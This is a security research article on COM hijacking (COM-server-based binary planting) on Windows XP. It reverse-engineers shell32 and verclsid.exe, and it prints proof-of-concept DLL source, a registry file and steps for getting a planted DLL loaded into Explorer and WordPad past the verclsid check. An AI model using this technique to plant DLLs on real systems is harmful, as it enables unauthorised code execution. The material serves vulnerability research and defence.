Exploit.SWF.Agent.br Pdfka.asd Pidief.cvl TDSS TDSS removal binary planting bios infection blind sqli bootkit bootkit remover browser exploitation com hijacking disassembling dll hijacking drive-by downloads hack online banks heap-spray hijack botnet ibank kernel protection kernel-mode rootkit keylogger malware analysis rootkit detection trojan virus removal

COM Hijacking, or DLL Hijacking come back

Kirill Soldatov
lyr1k.2008@gmail.com

Introduction

Many have heard about the infamous DLL Hijacking attacks, but one subcategory of such attacks is far from being well-known: COM Hijacking, or COM-Server Based Binary Planting[1]. What do these attacks have in common with the DLL Hijacking? In order to answer that question, let's examine the OLE\COM mechanism used in Windows.

The article is also available in Russian

1. Binary Planting - The Official Web Site

Итак, COM, or Component Object Model is a Microsoft-developed standard which supports interaction between processors and dynamic object creation independent of the programming language. In other words, it's a way to exchange binary code between different applications and languages. This means that, when the COM standard is used, a component can be written in any language. At this moment, the Windows world is home to a great number of technologies, but practically all of them are built more or less on the COM: OLE, ActiveX, COM+, DCOM.

Let's begin with the definitions used in the COM realm. Interface is simply a group of functions. These functions are called 'methods'. Usually, names of interfaces start with an 'I', for example, IShellFolder. Interfaces can inherit from other interfaces. However, inheritance here works in the same way as the single inheritance in C++, i. e. the COM standard does not have multiple inheritance. Component object class (coclass) is contained in a DLL or EXE file and itself contains the code of one or more interfaces. A coclass implements the interfaces it contains. COM object is an instance of a coclass in memory. COM server is a binary file (either COM or EXE) which contains one or more coclasses. COM library is a part of the operating system responsible for interacting with an application. GUID (globally unique identifier) is a 128-bit number used for unique identification of an object within the COM realm:

We are basically done with the introduction to the COM realm. If you feel confused by these definitions, don't worry: things should become clearer when we get to the practice.

The essence of the COM-Server Based Binary Planting attack

All screenshots in this article are made under the Windows XP SP3 Rus x86 virtual machine (with all updates as of 12/14/2011).

It is well-known that Windows has so-called virtual folders, such as Control Panel, My Computer, etc. Each of these folders has its own CLSID in the Windows Registry. For instance, My Computer's CLSID is {20D04FE0-3AEA-1069-A2D8-08002B30309D}, and Control Panel's CLSID is {21EC2020-3AEA-1069-A2DD-08002B30309D}. It is easy to open a virtual folder with the Win+R hotkey combination (same as clicking Start -> Run) knowing its CLSID. You just need to add '::' in front of the CLSID:

But if you try to open the Control Panel this way, it won't work, since the Control Panel is a subfolder of My Computer. In order to open the Control Panel, you need to specify the full path to it: '::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\::{21EC2020-3AEA-1069-A2DD-08002B30309D}'. Now, what if we create a new virtual folder named Test.{20D04FE0-3AEA-1069-A2D8-08002B30309D}? We will get a folder Test which, when viewed in explorer.exe, will display the same icon as My Computer (full path to the folder: С:\Documents and Settings\Administrator\Desktop\SomeFolder\Test.{20D04FE0-3AEA-1069-A2D8-08002B30309D}\):

Moreover, if we try to open this folder, we will actually get into My Computer. Note that the extension of the folder we have just created (the part of its name after the last dot) is not shown in explorer.exe. Let's find out which DLL is used for the My Computer virtual folder. To learn that, we need to look at the default value of the Registry key 'HKLM\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32':

Thus, the library shell32.dll is used for the folder My Computer. Therefore we can assume that when we open this folder, shell32.dll gets loaded (in reality, no loading takes place since this library is always loaded). To test that, let's create a DLL file (the archive with the source and the binary is included with this article):

#define WIN32_LEAN_AND_MEAN
#include <Windows.h>
#include <stdio.h>
#include <tchar.h>

#pragma comment(lib, “user32.lib”)

BOOL WINAPI
DllMain( 
    IN HMODULE hModule, 
    IN DWORD   dwReason, 
    IN LPVOID  lpReserved
) 
{     
    switch (dwReason) 
    { 
    case DLL_PROCESS_ATTACH: 
        { 
            TCHAR szModulePath[MAX_PATH], szProcessModulePath[MAX_PATH]; 
            TCHAR szMessage[MAX_PATH]; 
            ZeroMemory(szModulePath, sizeof(szModulePath)); 
            ZeroMemory(szProcessModulePath,  
                sizeof(szProcessModulePath)); 

            GetModuleFileName(hModule, szModulePath, MAX_PATH – 1); 
            GetModuleFileName(GetModuleHandle(NULL),  
                szProcessModulePath, MAX_PATH – 1); 

            _stprintf_s( 
                szMessage,  
                _T(“DLL library \”%s\” injected into the process \”%s\” (PID=%d)”), 
                szModulePath, szProcessModulePath, GetCurrentProcessId() 
                ); 

            MessageBox(0, szMessage, _T(“HACKED!”), MB_ICONERROR);
            break; 
        }

    case DLL_THREAD_ATTACH: 
    case DLL_THREAD_DETACH: 
    case DLL_PROCESS_DETACH: 
        break; 
    } 

    return (FALSE); 
}

Let's compile this library into FakeSHELL32.dll (cl.exe FakeSHELL32.cpp /MT /D “UNICODE” /D “_UNICODE” /LD), , place it in the folder C:\1\ and change the Registry path:

Now if we open the Test.{20D04FE0-3AEA-1069-A2D8-08002B30309D} folder, we will see the following:

So the system indeed loads the COM server identified with CLSID {20D04FE0-3AEA-1069-A2D8-08002B30309D} (we will see in a moment why the DLL got inserted in the verclsid.exe).

Sample attack

For the sake of example, let's take a publicly available PoC[2]. They say on the website that the vulnerability cannot be exploited if you have the MS11-071 update[3]. Since we have this update installed in our system, we need to create a CLSID manually and enter the required minimum of data. To achieve this, let's create and run the following REG file (also included in the enclosed archive):

[HKEY_CLASSES_ROOT\CLSID\{42071714-76d4-11d1-8b24-00a0c9068ff3}]

[HKEY_CLASSES_ROOT\CLSID\{42071714-76d4-11d1-8b24-00a0c9068ff3}\InProcServer32]
@="deskpan.dll"
"ThreadingModel"="Apartment"

After making all the required changes, let's create a folder Files.{42071714-76d4-11d1-8b24-00a0c9068ff3} (I created it right on the Desktop). Let's rename our DLL file into deskpan.dll and move it to this folder. Le's also create in it an empty RTF document (following the advice from «The Anatomy of COM Server-Based Binary Planting Exploits»[4]). If we try to open this file... nothing will happen. To find out why, let's open the ProcessMonitor and set the filters as needed. We can see that when we try to open the RTF file, the system does search for the DLL, but only within the verclsid.exe process (C:\Windows\system32\verclsid.exe):

Let's rename this file to verclsid.exe and try to open the RTF again. Hooray! Now the vulnerability works exactly as described at «The Anatomy of COM Server-Based Binary Planting Exploits».

So what is happening in the depths of the OS? Why the DLL would not load if the verclsid.exe is present? Let's try and sort it out.

Conditions of a successful attack

First, let's see which functions are called when the system doesn't have the verclsid.exe. Let's run it in the debugger and place a breakpoint at DllMain. Now the call stack of my testing machine looks like the following:

kd> k 40 ChildEBP RetAddr 
0006c4fc 10001027 ntdll!DbgBreakPoint
0006cb24 10001456 deskpan!DllMain+0x27 
0006cb64 100014fe deskpan!__DllMainCRTStartup+0x6c [f:\dd\vctools\crt_bld\self_x86\crt\src\dllcrt0.c @ 330] 
0006cb70 7c90118a deskpan!_DllMainCRTStartup+0x1e [f:\dd\vctools\crt_bld\self_x86\crt\src\dllcrt0.c @ 293] 
0006cb90 7c91b5d2 ntdll!LdrpCallInitRoutine+0x14 
0006cc98 7c9162db ntdll!LdrpRunInitializeRoutines+0x344 
0006cf44 7c91643d ntdll!LdrpLoadDll+0x3e5 
0006d1ec 7c801bbd ntdll!LdrLoadDll+0x230 
0006d254 77511fc5 kernel32!LoadLibraryExW+0x18e 
0006d278 77511ee1 ole32!CClassCache::CDllPathEntry::LoadDll+0x6c 
0006d2a8 77511364 ole32!CClassCache::CDllPathEntry::Create_rl+0x37 
0006d4f4 77511287 ole32!CClassCache::CClassEntry::CreateDllClassEntry_rl+0xd6 
0006d53c 775111e5 ole32!CClassCache::GetClassObjectActivator+0x195 0006d568 
77510d4f ole32!CClassCache::GetClassObject+0x23 0006d5e4 
77510bf3 ole32!CServerContextActivator::CreateInstance+0x106 
0006d624 77510e42 ole32!ActivationPropertiesIn::DelegateCreateInstance+0xf7 
0006d678 77510db9 ole32!CApartmentActivator::CreateInstance+0x110 
0006d698 77511c08 ole32!CProcessActivator::CCICallback+0x6d 
0006d6b8 77511bbf ole32!CProcessActivator::AttemptActivation+0x2c 
0006d6f0 77510ea3 ole32!CProcessActivator::ActivateByContext+0x42 
0006d718 77510bf3 ole32!CProcessActivator::CreateInstance+0x49 0006d758 
77510b8e ole32!ActivationPropertiesIn::DelegateCreateInstance+0xf7 
0006d9a8 77510bf3 ole32!CClientContextActivator::CreateInstance+0x8f 
0006d9e8 77510a38 ole32!ActivationPropertiesIn::DelegateCreateInstance+0xf7 
0006e198 774ff1b3 ole32!ICoCreateInstanceEx+0x3c9 0006e1c0
774ff182 ole32!CComActivator::DoCreateInstance+0x28 0006e1e4 
774ff1f0 ole32!CoCreateInstanceEx+0x1e 0006e214 
77f6947c ole32!CoCreateInstance+0x37 
0006e23c 7c9f1621 SHLWAPI!SHCoCreateInstanceAC+0x3a 
0006e620 7c9f29d8 SHELL32!_SHCoCreateInstance+0x127 
0006e660 7c9f2997 SHELL32!SHExtCoCreateInstance2+0x41 
0006e680 7ca2faca SHELL32!SHExtCoCreateInstance+0x1e
0006e8e0 7c9eda9e SHELL32!CFSFolder::_Bind+0x78 
0006e908 7c9efb4c SHELL32!CFSFolder::BindToObject+0xa0 
0006e9c4 7c9efb73 SHELL32!CFSFolder::ParseDisplayName+0x1cb 
0006ea98 7c9efb73 SHELL32!CFSFolder::ParseDisplayName+0x1ee 
0006eb88 7c9efb73 SHELL32!CFSFolder::ParseDisplayName+0x1ee 
0006eca8 7c9ee24b SHELL32!CFSFolder::ParseDisplayName+0x1ee 
0006ed18 7c9ee143 SHELL32!CDrivesFolder::ParseDisplayName+0xe8 
0006ed80 7c9ee36e SHELL32!CRegFolder::ParseDisplayName+0x93 
0006eda8 7c9ee30c SHELL32!CDesktopFolder::_ChildParseDisplayName+0x22 
0006edf8 7c9ee143 SHELL32!CDesktopFolder::ParseDisplayName+0x7e 
0006ee60 7c9ee090 SHELL32!CRegFolder::ParseDisplayName+0x93 
0006ee98 7c9ee629 SHELL32!SHParseDisplayName+0xa3 
0006eebc 7c9ee5e3 SHELL32!ILCreateFromPathEx+0x3d 
0006eed8 7c9ee787 SHELL32!SHILCreateFromPath+0x17
0006eef0 7ca34cba SHELL32!ILCreateFromPathW+0x18
0006f370 728442c7 SHELL32!SHGetFileInfoW+0x117
0006f654 728441ad MFC42u!AfxResolveShortcut+0x41 
0006fc9c 728beabe MFC42u!CDocManager::OpenDocumentFile+0x8c 
0006fcc4 01013fc0 MFC42u!CWinApp::ProcessShellCommand+0x10c 
0006ff0c 72841317 WORDPAD!CWordPadApp::InitInstance+0x244 
0006ff1c 0101aa5d MFC42u!AfxWinMain+0x47 
0006ffc0 7c817077 WORDPAD!wWinMainCRTStartup+0x198 
0006fff0 00000000 kernel32!BaseProcessStart+0x23

You can see that after the SHELL32!SHExtCoCreateInstance function is called, the DLL always gets loaded. So the trigger function is the function SHELL32!CFSFolder::_Bind:

HRESULT __stdcall
CFSFolder___Bind(
IN  const _ITEMIDLIST *pidl, 
IN  IBindCtx *pBindCtx, 
IN  const _GUID *pGUID, 
OUT void **ppv
)
{
  …
  lastItemId = (SHITEMID *)ILFindLastID((LPCITEMIDLIST)pBindCtx);
  if ( CFSFolder___GetBindCLSID(pbc, pidl, lastItemId) )
  {
    hr = SHExtCoCreateInstance(0, (const CLSID *)&guid, 0, riid, ppv);
    if ( SUCCEEDED(hr) )
    {
        …
    }
    …
  }
  …
}

As you can see from the code, the SHELL32!SHExtCoCreateInstance function gets called only if the SHELL32!CFSFolder___GetBindCLSID function has been called successfully and with the resulting value of the SHELL32!ILFindLastID function passed to it. The SHELL32!ILFindLastID function, in turn, gets the last part of the path to the object (the path to any object in SHELL is specified with the ITEMIDLIST structure; there is more on that at «The Complete Idiot's Guide to Writing Namespace Extensions - Part I»[5]) whereas the SHELL32!CFSFolder___GetBindCLSID checks whether this last part is a CLSID. If this is indeed so, then for the respective CLSID the SHELL32!SHExtCoCreateInstance function is called. Let's look at the code of this function:

HRESULT __stdcall 
SHExtCoCreateInstance(
IN  LPCWSTR pszCLSID,
IN  const CLSID *pclsid, 
IN  IUnknown *punkOuter,
IN  const IID *const riid,
OUT void **ppv
)
{
  return SHExtCoCreateInstance2(pszCLSID, pclsid, punkOuter, CLSCTX_INPROC_SERVER|CLSCTX_NO_CODE_DOWNLOAD, riid, ppv);
}

So the SHELL32!SHExtCoCreateInstance function is a wrap around the SHELL32!SHExtCoCreateInstance2 function:

HRESULT __stdcall
SHExtCoCreateInstance2(
IN  LPCWSTR pszCLSID,
IN  const CLSID *pclsid,
IN  IUnknown *punkOuter,
IN  DWORD dwClsContext,
IN  const IID *const riid,
OUT void **ppv
)
{
  const CLSID *clsid;
  CLSID pClsid;

  clsid = pclsid;
  if ( pszCLSID )
  {
    SHCLSIDFromString(pszCLSID, &pClsid);
    clsid = &pClsid;
  }
  return _SHCoCreateInstance(clsid, punkOuter, dwClsContext, TRUE, riid, ppv);
}

In turn, the SHELL32!SHExtCoCreateInstance2 function is a wrap around the function SHELL32!_SHCoCreateInstance and, if needed, turns the CLSID line into the CLSID. In our case this is not happening, since the first parameter of the called SHELL32!SHExtCoCreateInstance2 function is NULL. Here is the key fragment of SHELL32!_SHCoCreateInstance:

HRESULT __stdcall
_SHCoCreateInstance( 
IN const CLSID *pclsid, 
IN IUnknown *pUnkOuter, 
IN DWORD dwCoCreateFlags, 
IN BOOL bMustBeApproved, 
IN const IID *const riid, 
OUT void **ppv ) 
{
  HRESULT hRetCode;
  priid = riid;
  …
  if ( bMustBeApproved 
	&& SHStringFromGUIDW(pclsid, &pszClsidValue, 103) 
	&& SHStringFromGUIDW(priid, &pszIidValue, 103) 
	&& !_ShouldLoadShellExt(&pszClsidValue, &pszIidValue, dwCoCreateFlags, pvData) )
	{
		hr = E_ACCESSDENIED; 
	} 
  else
	{
		hRetCode = SHCoCreateInstanceAC(pclsid, pUnkOuter, dwCoCreateFlags, priid, ppv); 
		hr = hRetCode; 
		if ( FAILED(hRetCode) ) 
		{ 
			if ( v10 ) 
			{ 
				if ( v9 ) 
				{ 
					if (hRetCode == REGDB_E_IIDNOTREG || hRetCode == CO_E_FIRST )
						hr = _CreateFromDll(&pvData, pclsid, pUnkOuter, priid, ppv); 
				} 
			}
		}
	…
	}
}

So the execution logic of this function is simple enough: after turning the CLSID and the IID into string values it calls the SHELL32!_ShouldLoadShellExt. In the event it returns a non-null value, the SHLWAPI!SHCoCreateInstanceAC function gets called and actually loads the desired DLL (which happens in our case: see the call stack). Let's take a look at the function SHELL32!_ShouldLoadShellExt:

HRESULT __stdcall 
_ShouldLoadShellExt(
IN  LPCWSTR pszCLSID,
IN  LPCWSTR pszIID,
IN  DWORD dwClsContext,
IN  LPCWSTR lpDllName
)
{
  HRESULT result;

  if ( _FindPolicyEntry(
         &g_hklmBlockedExt,
         &g_hkcuBlockedExt,
         L"Software\\Microsoft\\Windows\\CurrentVersion\\Shell Extensions\\Blocked",
         pszCLSID)
    || SHRestricted(REST_ENFORCESHELLEXTSECURITY)
    && !_FindPolicyEntry(
          &g_hklmApprovedExt,
          &g_hkcuApprovedExt,
          L"Software\\Microsoft\\Windows\\CurrentVersion\\Shell Extensions\\Approved",
          pszCLSID) )
    result = S_OK;
  else
    result = _QueryClassInterface(pszCLSID, pszIID, dwClsContext);
  return result;
}

First, this function checks whether or not the CLSID is disallowed. In order to accomplish this, it reads the Registry branches HKLM\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Blocked and HKCU\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Blocked, looking for the parameter value equal to the CLSID (pszCLSID). If such a parameter is found (its type doesn't matter), the function returns a non-null value. Then it checks the policy REST_ENFORCESHELLEXTSECURITY which, being turned on, allows to run only the trusted extensions of SHELL, i. e. those extensions whose names are also the parameters of the Registry keys HKLM\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved and HKCU\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved. Since the policy REST_ENFORCESHELLEXTSECURITY is turned off on the testing machine, and the Registry keys HKLM\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Blocked and HKCU\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Blocked are empty, the function SHELL32!_QueryClassInterface gets called and returns a non-null value. This function is pretty long and performs a number of checks before returning the control. For the sake of simplicity, let's separate the function flow into items and describe each of them in detail. The function's prototype looks like this:

HRESULT __stdcall _QueryClassInterface( IN LPCWSTR pszCLSID, IN LPCWSTR pszIID, IN DWORD dwClsContext )
  1. Conversion of the passed values of pszCLSID, pszIID and dwClsContextinto string with the %s %s 0x%X pattern.
  2. Search for the parameter of the type REG_DWORD with a name specified in Item 1, in the Registry branch HKLM\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached. Upon finding such a parameter equaling 0, the function returns the control with the value of 0, and otherwise with the value of 1.
  3. Search for the parameter of the type REG_BINARY with a name specified in Item 1 and the size of 16 bytes, in the Registry branch HKCU\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached.
  4. If the parameter in Item 3 is found, the function evaluates the first four bytes. If they equal zero, the function executes the operations described in Item 5. Otherwise, it exits with the returned value of 1.
  5. The function evaluates the third and forth 4-byte strings against the time it gets from GetSystemTimeAsFileTime (see the picture below) in order to check whether it's been 10 seconds since this parameter was last modified. If not, the function exits with the returned value of 0. Otherwise, the function executes the operations described in Item 6.
  6. Construction of a string with the pattern '/S /C %s /I %s /X 0x%X', pszCLSID, pszIID, dwClsContext.
  7. Start of the process %WINDIR%\system32\verclsid.exewith the parameter string constructed in Item 6.
  8. If the error ERROR_FILE_NOT_FOUND (2) occurred after the function CreateProcessW was called, the function exits with the returned value of 1. If an error other than ERROR_FILE_NOT_FOUND was thrown, the function exits returning that error. If no error was thrown, the function goes on to executing the operations described in Item 9.
  9. The function waits until the WaitForSingleObject function ends the verclsid.exe process and the GetExitCodeProcess function determines its returned value.
  10. 10. Collecting data for the Registry parameter HKCU\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cachedwith the name specified in Item 1. The parameters are explained in the picture.
    1 — caching control: 0 — caching is enabled, 1 — disabled;
    2 — optional data;
    3 — earlier 4-byte time value returned by GetSystemTimeAsFileTime;
    4 — later 4-byte time value returned by GetSystemTimeAsFileTime
  11. If the ending returned value from Item 9 equals 0, then the function will exit with the value of 1, and otherwise with the value of 0.

We can see that there are quite a few conditions which must be fulfilled in order for the SHELL32!_QueryClassInterface function to exit with a return value other than 0. One of those conditions is the ending of the verclsid.exe process with the return value of 0. Let's analyze the flow of this program and find out its purpose.

Analysis of the program verclsid.exe and ways to circumvent it

Ok, so verclsid.exe is started by the function SHELL32!_QueryClassInterface. This program studies the CLSID passed to it as a parameter and, depending on various conditions, returns a value. Let's see which parameters are passed to verclsid.exe on opening the RTF file in our folder.

We have here the key '/S', the key '/C', after which there comes a GUID, then the key '/I', after which another GUID follows, and the key '/X', followed by a hexadecimal number. Disassembling the file verclsid.exe reveals the roles of each of these keys:

After the command line has been parsed and the application has received all its entry parameters, COM is initialized via the OLE32!CoInitializeEx function and a secondary WatchDog thread is created which simply sleeps for 15 seconds. If the program has not ended within that time, it gets terminated with a return value of 2:

_WatchDog@4     proc near           
    push    15000             ; dwMilliseconds
    call    ds:__imp__Sleep@4 ; Sleep(x)
    push    2                 ; uExitCode
    call    ds:__imp__GetCurrentProcess@0 ; GetCurrentProcess()
    push    eax               ; hProcess
    call    ds:__imp__TerminateProcess@8 ; TerminateProcess(x,x)
    retn    4
_WatchDog@4     endp

Then the primary thread calls the function OLE32!CoCreateInstance:

CoCreateInstance( “{42071714-76D4-11D1-8B24-00A0C9068FF3}”, NULL, CLSCTX_INPROC_SERVER|CLSCTX_NO_CODE_DOWNLOAD, “{000214E6-0000-0000-C000-000000000046}”, &ppv )

If calling the OLE32!CoCreateInstance function was unsuccessful, the program exits with the value of 3. Otherwise the QueryInterface method is called for the newly created COM object:

ppv->QueryInterface("{9B45E435-34A9-4E6B-A2A1-B0ECD284967C}", &ppvObject)

In other words, the interface '{9B45E435-34A9-4E6B-A2A1-B0ECD284967C}' is requested from our object. If the function QueryInterface throws an error, the program exits with the value of 3. Otherwise the Release method is called:

ppv->Release()

Then the program calls the OLE32!CoUninitialize function in order to deinitialize the COM and exits with the value of 0, which is exactly what we need. To write a primitive COM server, we can use the 'Description of COM principle'[6], in which the working mechanism of the function OLE32!CoCreateInstance is described in sufficient detail. The source files for the COM server can be found in the archive enclosed with this article. They are pretty ordinary except for one notable detail. As we always return the S_OK value for any requested interface, this may cause some applications to crash. Therefore DllMain checks which application has called this function:

BOOL WINAPI
DllMain( 
    IN HINSTANCE hInstance,
    IN DWORD     dwReason,
    IN LPVOID    lpReserved
)
{
    BOOL retValue = FALSE;

    switch (dwReason) {
    case DLL_PROCESS_ATTACH:
        {
            TCHAR processPath [MAX_PATH] = { 0 };
            TCHAR verclsidPath[MAX_PATH] = { 0 };

            GetModuleFileName(NULL, processPath, _countof(processPath));
            GetWindowsDirectory(verclsidPath, MAX_PATH);
            PathAppend(verclsidPath, _T("system32\\verclsid.exe"));

            if ( 0 == StrCmpI(processPath, verclsidPath) ) {
                retValue   = TRUE;
            } else {
                // to do what you need
                // this code will run in context on another process
            }
            DisableThreadLibraryCalls( hInstance );
            break;
        }

    case DLL_THREAD_ATTACH:
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_DETACH:
        break;
    }

    return (retValue);
}

Afterwards, let's place the DLL in the folder C:\Documents and Settings\Administrator, open our RTF file again and take a look at the debugger console:

kd> g 
>>> COM-DLL-fake: DllMain: process = C:\WINDOWS\system32\verclsid.exe 
>>> COM-DLL-fake: DllGetClassObject 
>>> COM-DLL-fake: CSomeFactory::CSomeFactory 
>>> COM-DLL-fake: CSomeFactory::AddRef 
>>> COM-DLL-fake: CSomeFactory::QueryInterface 
>>> COM-DLL-fake: CSomeFactory::AddRef 
>>> COM-DLL-fake: CSomeFactory::Release 
>>> COM-DLL-fake: CSomeFactory::CreateInstance 
>>> COM-DLL-fake: CSomeCoClass::CSomeCoClass 
>>> COM-DLL-fake: CSomeCoClass::QueryInterface 
>>> COM-DLL-fake: CSomeCoClass::Release 
>>> COM-DLL-fake: CSomeFactory::Release 
>>> COM-DLL-fake: CSomeFactory::~CSomeFactory 
>>> COM-DLL-fake: CSomeCoClass::QueryInterface 
>>> COM-DLL-fake: CSomeCoClass::Release 
>>> COM-DLL-fake: CSomeCoClass::QueryInterface 
>>> COM-DLL-fake: CSomeCoClass::Release 
>>> COM-DLL-fake: CSomeCoClass::CSomeCoClass 
>>> COM-DLL-fake: DllMain: process = C:\WINDOWS\Explorer.EXE 
>>> COM-DLL-fake: DllMain: process = C:\WINDOWS\Explorer.EXE 
>>> COM-DLL-fake: DllMain: process = C:\WINDOWS\Explorer.EXE 
>>> COM-DLL-fake: DllMain: process = C:\WINDOWS\Explorer.EXE 
>>> COM-DLL-fake: DllMain: process = C:\WINDOWS\Explorer.EXE 
>>> COM-DLL-fake: DllMain: process = C:\WINDOWS\Explorer.EXE 
>>> COM-DLL-fake: DllMain: process = C:\WINDOWS\Explorer.EXE 
>>> COM-DLL-fake: DllMain: process = C:\WINDOWS\Explorer.EXE 
>>> COM-DLL-fake: DllMain: process = C:\WINDOWS\Explorer.EXE 
>>> COM-DLL-fake: DllMain: process = C:\WINDOWS\Explorer.EXE 
>>> COM-DLL-fake: DllMain: process = C:\Program Files\Windows NT\Accessories\WORDPAD.EXE 
>>> COM-DLL-fake: DllMain: process = C:\Program Files\Windows NT\Accessories\WORDPAD.EXE 
>>> COM-DLL-fake: DllMain: process = C:\Program Files\Windows NT\Accessories\WORDPAD.EXE

Now, as we can see, the attack is proceeding successfully. Let's note that, in order to achieve this, the DLL must be located in the Current Directory of the explorer.exe process.

Conclusion

To sum it up, now we can tell that the DLL Hijacking attack is applicable to the COM technology as well. However, in order to successfully exploit the vulnerability, the perpetrator must overcome certain obstacles (circumvent verclsid.exe, check for the presence of keys in various branches of the Registry). A possible direction of further study is the search for COM servers with disabled caching, which are vulnerable to the DLL Hijacking attack.

Literature

  1. COM Server-Based Binary Planting Proof Of Concept.
  2. Silently Pwning Protected-Mode IE9 and Innocent Windows Applications.
  3. Introduction to COM - What It Is and How to Use It.
  4. Introduction to COM Part II - Behind the Scenes of a COM Server
  5. An almost complete Namespace Extension Sample.

Attachment

code-com-hijacking.7z

Last updated: 05.04.2012